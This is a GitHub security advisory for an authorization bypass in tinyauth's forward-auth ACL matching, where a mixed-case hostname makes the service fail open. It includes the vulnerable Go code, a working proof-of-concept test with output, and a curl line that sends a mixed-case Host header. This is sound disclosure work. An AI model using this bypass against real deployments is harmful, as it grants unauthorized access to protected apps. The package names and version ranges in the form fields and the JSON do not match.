GHSA-328G-JX67-V94G
Vulnerability from github – Published: 2026-09-22 20:37 – Updated: 2026-09-22 20:37tinyauth: forward-auth per-app ACL is matched case-sensitively against the (case-insensitive) hostname, letting an authenticated user reach apps they are not on the allowlist for
GitHub Advisory Details (form fields — paste-ready)
Affected products
| Field | Value |
|-------|-------|
| Ecosystem | Other (self-hosted) / Go |
| Package name | github.com/steveiliop56/tinyauth (forward-auth middleware) |
| Affected versions | < 5.1.2 |
| Patched versions | 5.1.2 |
Advisory details
| Field | Value |
|-------|-------|
| Title | tinyauth forward-auth authorization bypass: per-app ACL host matching is case-sensitive while hostnames are case-insensitive, so a mixed-case host defeats users/groups/ip allowlists and fails open |
- Status: Runtime-confirmed (local lab, 127.0.0.1 only)
- Target: steveiliop56/tinyauth
v5.0.7(commit479f1657812b7bf01438607464dedaa148155301); root cause also present onmainHEAD - Component:
internal/service/access_controls_service.go(lookupStaticACLs/GetAccessControls),internal/service/docker_service.go(GetLabels),internal/controller/proxy_controller.go(proxyHandler) - Class: Broken access control / authorization bypass across the per-app trust boundary
Summary
tinyauth is a forward-auth service: a reverse proxy (Traefik/Caddy/nginx/Envoy) calls GET /api/auth/<proxy> on every request and only forwards the request upstream if tinyauth returns 200. tinyauth decides which per-app access rules apply by looking up the forwarded hostname (the app) in its ACL set — the static apps: config and/or Docker labels. Each app can restrict access with users.allow / users.block, oauth.whitelist, oauth.groups / ldap.groups, and ip.allow. These allowlists are the entire authorization model that separates one protected app from another for a shared pool of authenticated users.
The hostname → ACL lookup is performed with case-sensitive Go string comparisons (config.Config.Domain == domain and strings.SplitN(domain, ".", 2)[0] == app). Hostnames, however, are case-insensitive everywhere else in the stack: DNS, HTTP Host-header routing, and TLS SNI all treat immich.example.com and IMMICH.example.com as the same host, so a reverse proxy routes both to the same backend. When a request arrives with a mixed-case host, the proxy still routes it to the intended app and faithfully forwards the mixed-case value in X-Forwarded-Host (or X-Original-URL for nginx, or Host for Envoy), but tinyauth's case-sensitive lookup misses the app's ACL entry.
On a miss, tinyauth does not fail closed. GetAccessControls falls back to DockerService.GetLabels, which returns an empty config.App{} with no error whenever nothing matches (or Docker is not connected). The proxy handler then evaluates that empty App: IsAuthEnabled → true, CheckIP (no allow/block) → allowed, IsUserAllowed with an empty users.allow → CheckFilter("", …) → true, and the group check with empty required groups → true. The net result is that any already-authenticated user is authorized (200 Authenticated) for an app whose ACL was supposed to exclude them — simply by upper-casing (or otherwise re-casing) one letter of the hostname. This defeats the per-app users/groups/ip allowlist for every proxy integration.
Affected code (v5.0.7, commit 479f1657…)
The ACL lookup uses case-sensitive equality — internal/service/access_controls_service.go:
func (acls *AccessControlsService) lookupStaticACLs(domain string) (config.App, error) {
for app, config := range acls.static {
if config.Config.Domain == domain { // case-sensitive ==
return config, nil
}
if strings.SplitN(domain, ".", 2)[0] == app { // case-sensitive ==
return config, nil
}
}
return config.App{}, errors.New("no results")
}
func (acls *AccessControlsService) GetAccessControls(domain string) (config.App, error) {
app, err := acls.lookupStaticACLs(domain)
if err == nil {
return app, nil
}
// Fallback to Docker labels
return acls.docker.GetLabels(domain)
}
The Docker-label fallback has the same case-sensitive comparisons and, critically, returns an empty App with a nil error when nothing matches (fail open) — internal/service/docker_service.go:
func (docker *DockerService) GetLabels(appDomain string) (config.App, error) {
if !docker.isConnected {
return config.App{}, nil // <-- empty App, no error
}
...
for _, ctr := range containers {
...
for appName, appLabels := range labels.Apps {
if appLabels.Config.Domain == appDomain { ... } // case-sensitive
if strings.SplitN(appDomain, ".", 2)[0] == appName { ... } // case-sensitive
}
}
return config.App{}, nil // <-- no match -> empty App, no error
}
The forward-auth verdict is built from that (possibly empty) App, and an empty App authorizes any logged-in user — internal/controller/proxy_controller.go and internal/service/auth_service.go:
// proxyHandler: host comes straight from X-Forwarded-Host, no normalization
acls, err := controller.acls.GetAccessControls(proxyCtx.Host)
...
if userContext.IsLoggedIn {
userAllowed := controller.auth.IsUserAllowed(c, userContext, acls) // empty acls -> true
...
c.Header("Remote-User", utils.SanitizeHeader(userContext.Username))
c.JSON(200, gin.H{"status": 200, "message": "Authenticated"})
}
// IsUserAllowed with an empty App:
func (auth *AuthService) IsUserAllowed(c *gin.Context, context config.UserContext, acls config.App) bool {
if context.OAuth {
return utils.CheckFilter(acls.OAuth.Whitelist, context.Email) // CheckFilter("", …) == true
}
if acls.Users.Block != "" { ... } // "" -> skipped
return utils.CheckFilter(acls.Users.Allow, context.Username) // CheckFilter("", …) == true
}
utils.CheckFilter returns true for an empty filter, so an empty users.allow means "everyone is allowed":
func CheckFilter(filter string, str string) bool {
if len(strings.TrimSpace(filter)) == 0 {
return true // empty allowlist -> allow all
}
...
}
The forwarded host is used verbatim: getForwardAuthContext reads x-forwarded-host, getAuthRequestContext parses x-original-url, getExtAuthzContext uses c.Request.Host — none of them lower-cases or canonicalizes the host before it reaches GetAccessControls.
Attacker model / precondition
The attacker is a legitimately authenticated but low-privileged user of the tinyauth instance — they hold a valid session (or valid credentials) for their own account, exactly the normal state of any user in a multi-app SSO deployment. They are simply not on the users.allow / group / IP allowlist of some other app protected by the same tinyauth. tinyauth does not offer self-registration, so a valid account is required; this is an authorization (not authentication) bypass, hence PR:L. An unauthenticated visitor is still redirected to the login page.
Trigger: send the request to the protected app with a hostname that routes identically but differs as a byte string from the configured ACL key — the simplest being a case change (IMMICH.example.com for immich.example.com). Reverse proxies match Host rules case-insensitively (RFC 3986 §3.2.2 / RFC 4343), so the request is still routed to the intended backend, and the proxy forwards the mixed-case host to tinyauth in X-Forwarded-Host / X-Original-URL / Host. Equivalent host encodings that route the same but bypass the string compare include a trailing FQDN dot (immich.example.com.) and, for by-domain rules, an added port. The bypass applies to all four proxy integrations (Traefik/Caddy → X-Forwarded-Host; nginx → X-Original-URL; Envoy → Host).
What bounds severity: the attacker must already have a valid account, and the concrete confidentiality/integrity impact depends on the specific app that becomes reachable. Because the whole purpose of putting an app behind a per-app allowlist is to protect sensitive functionality, reaching it generically yields read and write access to that app's data (C:H/I:H). The bypass affects authorization only; global gates that are configured tinyauth-wide (e.g. a global oauth.whitelist used at login) are not affected because they run at login, not per-app.
Impact
Any authenticated user can reach any app protected on the same tinyauth instance whose access is restricted by users.allow / users.block, oauth.groups, ldap.groups, or (for authenticated users) oauth.whitelist — none of which are enforced once the ACL lookup misses on a mixed-case host. Concretely, a user restricted to a handful of apps can obtain full authenticated access to an admin-only or team-only app (its data and actions) hosted behind the same tinyauth, defeating the per-app trust boundary that is the product's core authorization feature. tinyauth even emits the spoofed identity to the upstream via the Remote-User / Remote-Email headers, so downstream apps that trust those headers treat the attacker as a legitimately-authorized user of that app.
Proof of Concept (complete — runs on 127.0.0.1 only)
Lab-only. This is a single self-contained Go test dropped into the tinyauth source tree. It builds the real ProxyController, AccessControlsService, and AuthService (the same wiring the project's own proxy_controller_test.go uses), configures one app immich restricted to user admin, and drives the real forward-auth endpoint as a logged-in non-admin user bob. It proves: (1) with the exact-case host, bob is correctly blocked (403); (2) with an upper-cased host, the ACL lookup misses, tinyauth fails open to an empty App, and bob is authorized (200) with Remote-User: bob — a cross-app authorization bypass.
Reproduce against the exact vulnerable tag:
git clone --depth 1 --branch v5.0.7 https://github.com/steveiliop56/tinyauth
cd tinyauth
# The repo embeds the built frontend at internal/assets/dist via //go:embed.
# For a backend-only PoC, create a one-file stub so the embed compiles:
mkdir -p internal/assets/dist
printf '<!doctype html><title>stub</title>' > internal/assets/dist/index.html
# Write the test file shown below to internal/controller/zzz_poc_test.go, then:
go test ./internal/controller/ -run TestForwardAuthHostCaseACLBypass -v
internal/controller/zzz_poc_test.go:
package controller_test
import (
"net/http/httptest"
"path"
"testing"
"github.com/gin-gonic/gin"
"github.com/steveiliop56/tinyauth/internal/bootstrap"
"github.com/steveiliop56/tinyauth/internal/config"
"github.com/steveiliop56/tinyauth/internal/controller"
"github.com/steveiliop56/tinyauth/internal/repository"
"github.com/steveiliop56/tinyauth/internal/service"
"github.com/steveiliop56/tinyauth/internal/utils/tlog"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
// TestForwardAuthHostCaseACLBypass demonstrates that the per-app ACL is matched
// against the forwarded host with a case-SENSITIVE string comparison, while
// reverse proxies route hosts case-INSENSITIVELY. A logged-in user who is NOT in
// an app's users.allow list can reach the app anyway by varying the case of the
// hostname: the ACL lookup misses, tinyauth falls back to an EMPTY App (fail
// open), and the forward-auth verdict becomes 200 "Authenticated".
func TestForwardAuthHostCaseACLBypass(t *testing.T) {
tlog.NewTestLogger().Init()
tempDir := t.TempDir()
// Force the docker label provider offline so an ACL miss deterministically
// yields the empty App() default (this is exactly what happens on any
// deployment whose ACLs live in the static `apps:` config, or whose docker
// socket holds no container matching the mixed-case host).
t.Setenv("DOCKER_HOST", "unix:///nonexistent/docker.sock")
authServiceCfg := service.AuthServiceConfig{
Users: []config.User{
{
Username: "admin",
Password: "$2a$10$ZwVYQH07JX2zq7Fjkt3gU.BjwvvwPeli4OqOno04RQIv0P7usBrXa", // password
},
{
Username: "bob",
Password: "$2a$10$ZwVYQH07JX2zq7Fjkt3gU.BjwvvwPeli4OqOno04RQIv0P7usBrXa", // password
},
},
SessionExpiry: 10,
CookieDomain: "example.com",
LoginTimeout: 10,
LoginMaxRetries: 3,
SessionCookieName: "tinyauth-session",
}
controllerCfg := controller.ProxyControllerConfig{
AppURL: "https://tinyauth.example.com",
}
// The admin restricts the "immich" app to user "admin" only.
acls := map[string]config.App{
"immich": {
Config: config.AppConfig{
Domain: "immich.example.com",
},
Users: config.AppUsers{
Allow: "admin",
},
},
}
// bob is a legitimately-authenticated low-privileged user. He is NOT in
// immich's users.allow list.
bobCtx := func(c *gin.Context) {
c.Set("context", &config.UserContext{
Username: "bob",
Name: "Bob",
Email: "bob@example.com",
IsLoggedIn: true,
Provider: "local",
})
c.Next()
}
// Shared services (mirrors the project's own proxy_controller_test.go).
app := bootstrap.NewBootstrapApp(config.Config{})
db, err := app.SetupDatabase(path.Join(tempDir, "tinyauth.db"))
require.NoError(t, err)
defer func() { _ = db.Close() }()
queries := repository.New(db)
docker := service.NewDockerService()
require.NoError(t, docker.Init())
ldap := service.NewLdapService(service.LdapServiceConfig{})
require.NoError(t, ldap.Init())
broker := service.NewOAuthBrokerService(make(map[string]config.OAuthServiceConfig))
require.NoError(t, broker.Init())
authService := service.NewAuthService(authServiceCfg, docker, ldap, queries, broker)
require.NoError(t, authService.Init())
aclsService := service.NewAccessControlsService(docker, acls)
newRouter := func() *gin.Engine {
gin.SetMode(gin.TestMode)
router := gin.New()
router.Use(bobCtx)
group := router.Group("/api")
pc := controller.NewProxyController(controllerCfg, group, aclsService, authService)
pc.SetupRoutes()
return router
}
forwardAuth := func(host string) *httptest.ResponseRecorder {
rec := httptest.NewRecorder()
req := httptest.NewRequest("GET", "/api/auth/traefik", nil)
req.Header.Set("x-forwarded-host", host)
req.Header.Set("x-forwarded-proto", "https")
req.Header.Set("x-forwarded-uri", "/")
newRouter().ServeHTTP(rec, req)
return rec
}
// 1. Control: exact-case host -> ACL is found, bob is NOT in users.allow -> 403.
lower := forwardAuth("immich.example.com")
t.Logf("[control] x-forwarded-host=immich.example.com -> %d remote-user=%q", lower.Code, lower.Header().Get("Remote-User"))
assert.Equal(t, 403, lower.Code, "boundary must block bob at the exact-case host")
// 2. Bypass: upper-case host -> ACL lookup misses (case-sensitive ==),
// empty App fail-open -> 200 Authenticated + Remote-User leaks bob.
upper := forwardAuth("IMMICH.example.com")
t.Logf("[BYPASS] x-forwarded-host=IMMICH.example.com -> %d remote-user=%q", upper.Code, upper.Header().Get("Remote-User"))
require.Equalf(t, 200, upper.Code, "expected the mixed-case host to bypass the users.allow ACL")
require.Equalf(t, "bob", upper.Header().Get("Remote-User"), "tinyauth authorized bob for immich across the ACL boundary")
}
Observed output (v5.0.7; trimmed to the two decisive log lines):
=== RUN TestForwardAuthHostCaseACLBypass
... access_controls_service.go: Found matching container by domain name=immich
... proxy_controller.go: User not allowed to access resource resource=immich user=bob
zzz_poc_test.go: [control] x-forwarded-host=immich.example.com -> 403 remote-user=""
... access_controls_service.go: Falling back to Docker labels for ACLs
... docker_service.go: Docker not connected, returning empty labels
zzz_poc_test.go: [BYPASS] x-forwarded-host=IMMICH.example.com -> 200 remote-user="bob"
--- PASS: TestForwardAuthHostCaseACLBypass (0.06s)
PASS
ok github.com/steveiliop56/tinyauth/internal/controller 0.067s
The control request (immich.example.com) finds the ACL and correctly returns 403 for bob; the identical request with an upper-cased host (IMMICH.example.com) misses the ACL, falls back to the empty App, and returns 200 Authenticated with Remote-User: bob. In a live deployment the identical effect is reached over HTTP by requesting the protected app with a mixed-case Host header, e.g. curl -H 'Host: IMMICH.example.com' https://<proxy>/ with bob's session cookie — the proxy routes it to immich and forwards the mixed-case host to tinyauth, which authorizes bob.
Remediation
- Canonicalize the host before the ACL decision. Lower-case (and strip any trailing dot / port from) the forwarded host in
getForwardAuthContext/getAuthRequestContext/getExtAuthzContext, and store both the ACLappskeys and eachconfig.domain/ label domain lower-cased, so the lookup is case-insensitive. Equivalently, compare withstrings.EqualFold. This closes the case, trailing-dot, and port-variant encodings in one place. - Fail closed on an ACL miss.
GetAccessControls/GetLabelsshould distinguish "no ACL configured for this host" from "empty ACL that allows everyone." When no app matches the requested host, the forward-auth handler should not authorize a user by defaulting to an empty allow-allApp; it should apply a deny-by-default (or an explicit, documented default policy) rather than returningconfig.App{}, nil. Returning an all-emptyAppas the fallback is the fail-open that turns the lookup miss into an authorization bypass. - Add a regression test asserting that a user excluded by
users.allowis still403when the same host is supplied in mixed case, with a trailing dot, and with an added port.
Please credit 5ud0 / Tarmo Technologies.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/tinyauthapp/tinyauth"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.1-0.20260720133915-80bc87188ec3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-77560"
],
"database_specific": {
"cwe_ids": [
"CWE-178",
"CWE-636",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-22T20:37:08Z",
"nvd_published_at": "2026-09-21T17:18:52Z",
"severity": "HIGH"
},
"details": "# tinyauth: forward-auth per-app ACL is matched case-sensitively against the (case-insensitive) hostname, letting an authenticated user reach apps they are not on the allowlist for\n\n\n\n## GitHub Advisory Details (form fields \u2014 paste-ready)\n\n**Affected products**\n| Field | Value |\n|-------|-------|\n| Ecosystem | `Other (self-hosted)` / Go |\n| Package name | `github.com/steveiliop56/tinyauth` (forward-auth middleware) |\n| Affected versions | `\u003c 5.1.2` |\n| Patched versions | `5.1.2` |\n\n**Advisory details**\n| Field | Value |\n|-------|-------|\n| Title | tinyauth forward-auth authorization bypass: per-app ACL host matching is case-sensitive while hostnames are case-insensitive, so a mixed-case host defeats `users`/`groups`/`ip` allowlists and fails open |\n\n- **Status:** Runtime-confirmed (local lab, 127.0.0.1 only)\n- **Target:** steveiliop56/tinyauth `v5.0.7` (commit `479f1657812b7bf01438607464dedaa148155301`); root cause also present on `main` HEAD\n- **Component:** `internal/service/access_controls_service.go` (`lookupStaticACLs` / `GetAccessControls`), `internal/service/docker_service.go` (`GetLabels`), `internal/controller/proxy_controller.go` (`proxyHandler`)\n- **Class:** Broken access control / authorization bypass across the per-app trust boundary\n\n## Summary\n\ntinyauth is a forward-auth service: a reverse proxy (Traefik/Caddy/nginx/Envoy) calls `GET /api/auth/\u003cproxy\u003e` on every request and only forwards the request upstream if tinyauth returns `200`. tinyauth decides *which* per-app access rules apply by looking up the forwarded hostname (the app) in its ACL set \u2014 the static `apps:` config and/or Docker labels. Each app can restrict access with `users.allow` / `users.block`, `oauth.whitelist`, `oauth.groups` / `ldap.groups`, and `ip.allow`. These allowlists are the entire authorization model that separates one protected app from another for a shared pool of authenticated users.\n\nThe hostname \u2192 ACL lookup is performed with **case-sensitive** Go string comparisons (`config.Config.Domain == domain` and `strings.SplitN(domain, \".\", 2)[0] == app`). Hostnames, however, are case-*insensitive* everywhere else in the stack: DNS, HTTP `Host`-header routing, and TLS SNI all treat `immich.example.com` and `IMMICH.example.com` as the same host, so a reverse proxy routes both to the same backend. When a request arrives with a mixed-case host, the proxy still routes it to the intended app and faithfully forwards the mixed-case value in `X-Forwarded-Host` (or `X-Original-URL` for nginx, or `Host` for Envoy), but tinyauth\u0027s case-sensitive lookup **misses** the app\u0027s ACL entry.\n\nOn a miss, tinyauth does not fail closed. `GetAccessControls` falls back to `DockerService.GetLabels`, which returns an **empty `config.App{}` with no error** whenever nothing matches (or Docker is not connected). The proxy handler then evaluates that empty App: `IsAuthEnabled` \u2192 true, `CheckIP` (no allow/block) \u2192 allowed, `IsUserAllowed` with an empty `users.allow` \u2192 `CheckFilter(\"\", \u2026)` \u2192 **true**, and the group check with empty required groups \u2192 **true**. The net result is that any *already-authenticated* user is authorized (`200 Authenticated`) for an app whose ACL was supposed to exclude them \u2014 simply by upper-casing (or otherwise re-casing) one letter of the hostname. This defeats the per-app `users`/`groups`/`ip` allowlist for every proxy integration.\n\n## Affected code (v5.0.7, commit `479f1657\u2026`)\n\nThe ACL lookup uses case-sensitive equality \u2014 `internal/service/access_controls_service.go`:\n\n```go\nfunc (acls *AccessControlsService) lookupStaticACLs(domain string) (config.App, error) {\n\tfor app, config := range acls.static {\n\t\tif config.Config.Domain == domain { // case-sensitive ==\n\t\t\treturn config, nil\n\t\t}\n\t\tif strings.SplitN(domain, \".\", 2)[0] == app { // case-sensitive ==\n\t\t\treturn config, nil\n\t\t}\n\t}\n\treturn config.App{}, errors.New(\"no results\")\n}\n\nfunc (acls *AccessControlsService) GetAccessControls(domain string) (config.App, error) {\n\tapp, err := acls.lookupStaticACLs(domain)\n\tif err == nil {\n\t\treturn app, nil\n\t}\n\t// Fallback to Docker labels\n\treturn acls.docker.GetLabels(domain)\n}\n```\n\nThe Docker-label fallback has the same case-sensitive comparisons and, critically, returns an **empty App with a nil error** when nothing matches (fail open) \u2014 `internal/service/docker_service.go`:\n\n```go\nfunc (docker *DockerService) GetLabels(appDomain string) (config.App, error) {\n\tif !docker.isConnected {\n\t\treturn config.App{}, nil // \u003c-- empty App, no error\n\t}\n\t...\n\tfor _, ctr := range containers {\n\t\t...\n\t\tfor appName, appLabels := range labels.Apps {\n\t\t\tif appLabels.Config.Domain == appDomain { ... } // case-sensitive\n\t\t\tif strings.SplitN(appDomain, \".\", 2)[0] == appName { ... } // case-sensitive\n\t\t}\n\t}\n\treturn config.App{}, nil // \u003c-- no match -\u003e empty App, no error\n}\n```\n\nThe forward-auth verdict is built from that (possibly empty) App, and an empty App authorizes any logged-in user \u2014 `internal/controller/proxy_controller.go` and `internal/service/auth_service.go`:\n\n```go\n// proxyHandler: host comes straight from X-Forwarded-Host, no normalization\nacls, err := controller.acls.GetAccessControls(proxyCtx.Host)\n...\nif userContext.IsLoggedIn {\n\tuserAllowed := controller.auth.IsUserAllowed(c, userContext, acls) // empty acls -\u003e true\n\t...\n\tc.Header(\"Remote-User\", utils.SanitizeHeader(userContext.Username))\n\tc.JSON(200, gin.H{\"status\": 200, \"message\": \"Authenticated\"})\n}\n\n// IsUserAllowed with an empty App:\nfunc (auth *AuthService) IsUserAllowed(c *gin.Context, context config.UserContext, acls config.App) bool {\n\tif context.OAuth {\n\t\treturn utils.CheckFilter(acls.OAuth.Whitelist, context.Email) // CheckFilter(\"\", \u2026) == true\n\t}\n\tif acls.Users.Block != \"\" { ... } // \"\" -\u003e skipped\n\treturn utils.CheckFilter(acls.Users.Allow, context.Username) // CheckFilter(\"\", \u2026) == true\n}\n```\n\n`utils.CheckFilter` returns `true` for an empty filter, so an empty `users.allow` means \"everyone is allowed\":\n\n```go\nfunc CheckFilter(filter string, str string) bool {\n\tif len(strings.TrimSpace(filter)) == 0 {\n\t\treturn true // empty allowlist -\u003e allow all\n\t}\n\t...\n}\n```\n\nThe forwarded host is used verbatim: `getForwardAuthContext` reads `x-forwarded-host`, `getAuthRequestContext` parses `x-original-url`, `getExtAuthzContext` uses `c.Request.Host` \u2014 none of them lower-cases or canonicalizes the host before it reaches `GetAccessControls`.\n\n## Attacker model / precondition\n\nThe attacker is a **legitimately authenticated but low-privileged** user of the tinyauth instance \u2014 they hold a valid session (or valid credentials) for their own account, exactly the normal state of any user in a multi-app SSO deployment. They are simply *not* on the `users.allow` / group / IP allowlist of some other app protected by the same tinyauth. tinyauth does not offer self-registration, so a valid account is required; this is an authorization (not authentication) bypass, hence PR:L. An unauthenticated visitor is still redirected to the login page.\n\nTrigger: send the request to the protected app with a hostname that routes identically but differs as a byte string from the configured ACL key \u2014 the simplest being a case change (`IMMICH.example.com` for `immich.example.com`). Reverse proxies match `Host` rules case-insensitively (RFC 3986 \u00a73.2.2 / RFC 4343), so the request is still routed to the intended backend, and the proxy forwards the mixed-case host to tinyauth in `X-Forwarded-Host` / `X-Original-URL` / `Host`. Equivalent host encodings that route the same but bypass the string compare include a trailing FQDN dot (`immich.example.com.`) and, for by-domain rules, an added port. The bypass applies to all four proxy integrations (Traefik/Caddy \u2192 `X-Forwarded-Host`; nginx \u2192 `X-Original-URL`; Envoy \u2192 `Host`).\n\nWhat bounds severity: the attacker must already have a valid account, and the concrete confidentiality/integrity impact depends on the specific app that becomes reachable. Because the whole purpose of putting an app behind a per-app allowlist is to protect sensitive functionality, reaching it generically yields read and write access to that app\u0027s data (C:H/I:H). The bypass affects authorization only; global gates that are configured tinyauth-wide (e.g. a global `oauth.whitelist` used at login) are not affected because they run at login, not per-app.\n\n## Impact\n\nAny authenticated user can reach any app protected on the same tinyauth instance whose access is restricted by `users.allow` / `users.block`, `oauth.groups`, `ldap.groups`, or (for authenticated users) `oauth.whitelist` \u2014 none of which are enforced once the ACL lookup misses on a mixed-case host. Concretely, a user restricted to a handful of apps can obtain full authenticated access to an admin-only or team-only app (its data and actions) hosted behind the same tinyauth, defeating the per-app trust boundary that is the product\u0027s core authorization feature. tinyauth even emits the spoofed identity to the upstream via the `Remote-User` / `Remote-Email` headers, so downstream apps that trust those headers treat the attacker as a legitimately-authorized user of that app.\n\n## Proof of Concept (complete \u2014 runs on 127.0.0.1 only)\n\nLab-only. This is a single self-contained Go test dropped into the tinyauth source tree. It builds the **real** `ProxyController`, `AccessControlsService`, and `AuthService` (the same wiring the project\u0027s own `proxy_controller_test.go` uses), configures one app `immich` restricted to user `admin`, and drives the real forward-auth endpoint as a logged-in non-admin user `bob`. It proves: (1) with the exact-case host, bob is correctly blocked (`403`); (2) with an upper-cased host, the ACL lookup misses, tinyauth fails open to an empty App, and bob is authorized (`200`) with `Remote-User: bob` \u2014 a cross-app authorization bypass.\n\nReproduce against the exact vulnerable tag:\n\n```console\ngit clone --depth 1 --branch v5.0.7 https://github.com/steveiliop56/tinyauth\ncd tinyauth\n# The repo embeds the built frontend at internal/assets/dist via //go:embed.\n# For a backend-only PoC, create a one-file stub so the embed compiles:\nmkdir -p internal/assets/dist\nprintf \u0027\u003c!doctype html\u003e\u003ctitle\u003estub\u003c/title\u003e\u0027 \u003e internal/assets/dist/index.html\n# Write the test file shown below to internal/controller/zzz_poc_test.go, then:\ngo test ./internal/controller/ -run TestForwardAuthHostCaseACLBypass -v\n```\n\n`internal/controller/zzz_poc_test.go`:\n\n```go\npackage controller_test\n\nimport (\n\t\"net/http/httptest\"\n\t\"path\"\n\t\"testing\"\n\n\t\"github.com/gin-gonic/gin\"\n\t\"github.com/steveiliop56/tinyauth/internal/bootstrap\"\n\t\"github.com/steveiliop56/tinyauth/internal/config\"\n\t\"github.com/steveiliop56/tinyauth/internal/controller\"\n\t\"github.com/steveiliop56/tinyauth/internal/repository\"\n\t\"github.com/steveiliop56/tinyauth/internal/service\"\n\t\"github.com/steveiliop56/tinyauth/internal/utils/tlog\"\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n)\n\n// TestForwardAuthHostCaseACLBypass demonstrates that the per-app ACL is matched\n// against the forwarded host with a case-SENSITIVE string comparison, while\n// reverse proxies route hosts case-INSENSITIVELY. A logged-in user who is NOT in\n// an app\u0027s users.allow list can reach the app anyway by varying the case of the\n// hostname: the ACL lookup misses, tinyauth falls back to an EMPTY App (fail\n// open), and the forward-auth verdict becomes 200 \"Authenticated\".\nfunc TestForwardAuthHostCaseACLBypass(t *testing.T) {\n\ttlog.NewTestLogger().Init()\n\ttempDir := t.TempDir()\n\n\t// Force the docker label provider offline so an ACL miss deterministically\n\t// yields the empty App() default (this is exactly what happens on any\n\t// deployment whose ACLs live in the static `apps:` config, or whose docker\n\t// socket holds no container matching the mixed-case host).\n\tt.Setenv(\"DOCKER_HOST\", \"unix:///nonexistent/docker.sock\")\n\n\tauthServiceCfg := service.AuthServiceConfig{\n\t\tUsers: []config.User{\n\t\t\t{\n\t\t\t\tUsername: \"admin\",\n\t\t\t\tPassword: \"$2a$10$ZwVYQH07JX2zq7Fjkt3gU.BjwvvwPeli4OqOno04RQIv0P7usBrXa\", // password\n\t\t\t},\n\t\t\t{\n\t\t\t\tUsername: \"bob\",\n\t\t\t\tPassword: \"$2a$10$ZwVYQH07JX2zq7Fjkt3gU.BjwvvwPeli4OqOno04RQIv0P7usBrXa\", // password\n\t\t\t},\n\t\t},\n\t\tSessionExpiry: 10,\n\t\tCookieDomain: \"example.com\",\n\t\tLoginTimeout: 10,\n\t\tLoginMaxRetries: 3,\n\t\tSessionCookieName: \"tinyauth-session\",\n\t}\n\n\tcontrollerCfg := controller.ProxyControllerConfig{\n\t\tAppURL: \"https://tinyauth.example.com\",\n\t}\n\n\t// The admin restricts the \"immich\" app to user \"admin\" only.\n\tacls := map[string]config.App{\n\t\t\"immich\": {\n\t\t\tConfig: config.AppConfig{\n\t\t\t\tDomain: \"immich.example.com\",\n\t\t\t},\n\t\t\tUsers: config.AppUsers{\n\t\t\t\tAllow: \"admin\",\n\t\t\t},\n\t\t},\n\t}\n\n\t// bob is a legitimately-authenticated low-privileged user. He is NOT in\n\t// immich\u0027s users.allow list.\n\tbobCtx := func(c *gin.Context) {\n\t\tc.Set(\"context\", \u0026config.UserContext{\n\t\t\tUsername: \"bob\",\n\t\t\tName: \"Bob\",\n\t\t\tEmail: \"bob@example.com\",\n\t\t\tIsLoggedIn: true,\n\t\t\tProvider: \"local\",\n\t\t})\n\t\tc.Next()\n\t}\n\n\t// Shared services (mirrors the project\u0027s own proxy_controller_test.go).\n\tapp := bootstrap.NewBootstrapApp(config.Config{})\n\tdb, err := app.SetupDatabase(path.Join(tempDir, \"tinyauth.db\"))\n\trequire.NoError(t, err)\n\tdefer func() { _ = db.Close() }()\n\n\tqueries := repository.New(db)\n\n\tdocker := service.NewDockerService()\n\trequire.NoError(t, docker.Init())\n\n\tldap := service.NewLdapService(service.LdapServiceConfig{})\n\trequire.NoError(t, ldap.Init())\n\n\tbroker := service.NewOAuthBrokerService(make(map[string]config.OAuthServiceConfig))\n\trequire.NoError(t, broker.Init())\n\n\tauthService := service.NewAuthService(authServiceCfg, docker, ldap, queries, broker)\n\trequire.NoError(t, authService.Init())\n\n\taclsService := service.NewAccessControlsService(docker, acls)\n\n\tnewRouter := func() *gin.Engine {\n\t\tgin.SetMode(gin.TestMode)\n\t\trouter := gin.New()\n\t\trouter.Use(bobCtx)\n\t\tgroup := router.Group(\"/api\")\n\t\tpc := controller.NewProxyController(controllerCfg, group, aclsService, authService)\n\t\tpc.SetupRoutes()\n\t\treturn router\n\t}\n\n\tforwardAuth := func(host string) *httptest.ResponseRecorder {\n\t\trec := httptest.NewRecorder()\n\t\treq := httptest.NewRequest(\"GET\", \"/api/auth/traefik\", nil)\n\t\treq.Header.Set(\"x-forwarded-host\", host)\n\t\treq.Header.Set(\"x-forwarded-proto\", \"https\")\n\t\treq.Header.Set(\"x-forwarded-uri\", \"/\")\n\t\tnewRouter().ServeHTTP(rec, req)\n\t\treturn rec\n\t}\n\n\t// 1. Control: exact-case host -\u003e ACL is found, bob is NOT in users.allow -\u003e 403.\n\tlower := forwardAuth(\"immich.example.com\")\n\tt.Logf(\"[control] x-forwarded-host=immich.example.com -\u003e %d remote-user=%q\", lower.Code, lower.Header().Get(\"Remote-User\"))\n\tassert.Equal(t, 403, lower.Code, \"boundary must block bob at the exact-case host\")\n\n\t// 2. Bypass: upper-case host -\u003e ACL lookup misses (case-sensitive ==),\n\t// empty App fail-open -\u003e 200 Authenticated + Remote-User leaks bob.\n\tupper := forwardAuth(\"IMMICH.example.com\")\n\tt.Logf(\"[BYPASS] x-forwarded-host=IMMICH.example.com -\u003e %d remote-user=%q\", upper.Code, upper.Header().Get(\"Remote-User\"))\n\n\trequire.Equalf(t, 200, upper.Code, \"expected the mixed-case host to bypass the users.allow ACL\")\n\trequire.Equalf(t, \"bob\", upper.Header().Get(\"Remote-User\"), \"tinyauth authorized bob for immich across the ACL boundary\")\n}\n```\n\nObserved output (v5.0.7; trimmed to the two decisive log lines):\n\n```text\n=== RUN TestForwardAuthHostCaseACLBypass\n... access_controls_service.go: Found matching container by domain name=immich\n... proxy_controller.go: User not allowed to access resource resource=immich user=bob\n zzz_poc_test.go: [control] x-forwarded-host=immich.example.com -\u003e 403 remote-user=\"\"\n... access_controls_service.go: Falling back to Docker labels for ACLs\n... docker_service.go: Docker not connected, returning empty labels\n zzz_poc_test.go: [BYPASS] x-forwarded-host=IMMICH.example.com -\u003e 200 remote-user=\"bob\"\n--- PASS: TestForwardAuthHostCaseACLBypass (0.06s)\nPASS\nok \tgithub.com/steveiliop56/tinyauth/internal/controller\t0.067s\n```\n\nThe control request (`immich.example.com`) finds the ACL and correctly returns `403` for bob; the identical request with an upper-cased host (`IMMICH.example.com`) misses the ACL, falls back to the 